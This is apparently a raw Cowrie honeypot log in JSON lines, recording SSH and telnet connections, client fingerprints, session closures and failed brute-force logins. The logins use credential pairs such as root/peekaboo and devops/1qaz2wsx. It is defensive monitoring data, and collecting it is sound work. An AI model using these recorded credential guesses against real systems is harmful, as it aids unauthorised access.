{"eventid":"cowrie.login.failed","username":"root","password":"litvinova","message":"login attempt [root/litvinova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:33.611928Z","src_ip":"103.27.238.120","session":"42160c051519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:34.885010Z","src_ip":"103.27.238.120","session":"42160c051519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54816,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08c4c442e93","protocol":"ssh","message":"New connection: 103.153.68.219:54816 (10.17.0.5:22) [session: e08c4c442e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:46.054835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:46.058936Z","src_ip":"103.153.68.219","session":"e08c4c442e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:46.317622Z","src_ip":"103.153.68.219","session":"e08c4c442e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bubun1","message":"login attempt [root/bubun1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:47.100480Z","src_ip":"103.153.68.219","session":"e08c4c442e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:48.362949Z","src_ip":"103.153.68.219","session":"e08c4c442e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.6893618106842,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:29:51.950852Z","src_ip":"94.23.66.112","session":"682e8f11fb00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":36816,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d972bbf3b5","protocol":"telnet","message":"New connection: 132.148.22.172:36816 (10.17.0.5:23) [session: 33d972bbf3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:06.409909Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43900,"dst_ip":"10.17.0.5","dst_port":22,"session":"151a6a428b97","protocol":"ssh","message":"New connection: 87.251.79.125:43900 (10.17.0.5:22) [session: 151a6a428b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:09.263290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:09.269371Z","src_ip":"87.251.79.125","session":"151a6a428b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:09.338888Z","src_ip":"87.251.79.125","session":"151a6a428b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peekaboo","message":"login attempt [root/peekaboo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:09.556367Z","src_ip":"87.251.79.125","session":"151a6a428b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:10.628122Z","src_ip":"87.251.79.125","session":"151a6a428b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.611465215682983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:37.021244Z","src_ip":"132.148.22.172","session":"33d972bbf3b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":51422,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b21115d35f","protocol":"ssh","message":"New connection: 46.29.234.126:51422 (159.203.135.109:22) [session: 52b21115d35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:45.335064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:45.339040Z","src_ip":"46.29.234.126","session":"52b21115d35f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:45.452512Z","src_ip":"46.29.234.126","session":"52b21115d35f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1qaz2wsx","message":"login attempt [devops/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:46.041023Z","src_ip":"46.29.234.126","session":"52b21115d35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:30:47.159081Z","src_ip":"46.29.234.126","session":"52b21115d35f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":43432,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1176d9b930c","protocol":"ssh","message":"New connection: 37.233.85.71:43432 (159.203.135.109:22) [session: f1176d9b930c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:14.059867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:14.063583Z","src_ip":"37.233.85.71","session":"f1176d9b930c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:14.171039Z","src_ip":"37.233.85.71","session":"f1176d9b930c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09121982","message":"login attempt [root/09121982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:14.496917Z","src_ip":"37.233.85.71","session":"f1176d9b930c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:15.607094Z","src_ip":"37.233.85.71","session":"f1176d9b930c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48510,"dst_ip":"10.17.0.5","dst_port":23,"session":"04db76ff8b16","protocol":"telnet","message":"New connection: 94.23.66.112:48510 (10.17.0.5:23) [session: 04db76ff8b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:28.748384Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":59774,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc612736ac4","protocol":"ssh","message":"New connection: 152.32.171.213:59774 (159.203.135.109:22) [session: 6bc612736ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:39.276109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:39.280963Z","src_ip":"152.32.171.213","session":"6bc612736ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:39.497157Z","src_ip":"152.32.171.213","session":"6bc612736ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"database","password":"1234","message":"login attempt [database/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:40.396343Z","src_ip":"152.32.171.213","session":"6bc612736ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:41.615815Z","src_ip":"152.32.171.213","session":"6bc612736ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50582,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa0cff94fe39","protocol":"telnet","message":"New connection: 94.23.66.112:50582 (10.17.0.5:23) [session: aa0cff94fe39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:31:42.036846Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.2","src_port":42900,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96572154e8c","protocol":"telnet","message":"New connection: 64.62.197.2:42900 (10.17.0.5:23) [session: f96572154e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:08.383463Z"}
{"eventid":"cowrie.session.closed","duration":2.0762548446655273,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:10.459539Z","src_ip":"64.62.197.2","session":"f96572154e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.9874792098999,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:11.735760Z","src_ip":"94.23.66.112","session":"04db76ff8b16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0021402835846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:42.038712Z","src_ip":"94.23.66.112","session":"aa0cff94fe39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43504,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d9c8094c6d2","protocol":"ssh","message":"New connection: 103.27.238.116:43504 (10.17.0.5:22) [session: 1d9c8094c6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:45.473041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:45.477284Z","src_ip":"103.27.238.116","session":"1d9c8094c6d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:45.734558Z","src_ip":"103.27.238.116","session":"1d9c8094c6d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfitymrf","message":"login attempt [root/gfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:46.509014Z","src_ip":"103.27.238.116","session":"1d9c8094c6d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:33:47.769170Z","src_ip":"103.27.238.116","session":"1d9c8094c6d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":52218,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6309f26a2bc","protocol":"ssh","message":"New connection: 46.29.234.126:52218 (159.203.135.109:22) [session: b6309f26a2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:34:12.189194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:34:12.194417Z","src_ip":"46.29.234.126","session":"b6309f26a2bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:34:12.303365Z","src_ip":"46.29.234.126","session":"b6309f26a2bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest2","password":"ftptest2","message":"login attempt [ftptest2/ftptest2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:34:12.773044Z","src_ip":"46.29.234.126","session":"b6309f26a2bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:34:13.885311Z","src_ip":"46.29.234.126","session":"b6309f26a2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49738,"dst_ip":"10.17.0.5","dst_port":23,"session":"60808e98b569","protocol":"telnet","message":"New connection: 94.23.66.112:49738 (10.17.0.5:23) [session: 60808e98b569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:34:21.284592Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":37474,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b8c6a93b24e","protocol":"telnet","message":"New connection: 128.199.209.169:37474 (159.203.135.109:23) [session: 0b8c6a93b24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:34:33.050667Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.197.248.131","src_port":32927,"dst_ip":"159.203.135.109","dst_port":23,"session":"013008f6adde","protocol":"telnet","message":"New connection: 185.197.248.131:32927 (159.203.135.109:23) [session: 013008f6adde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:00.941257Z"}
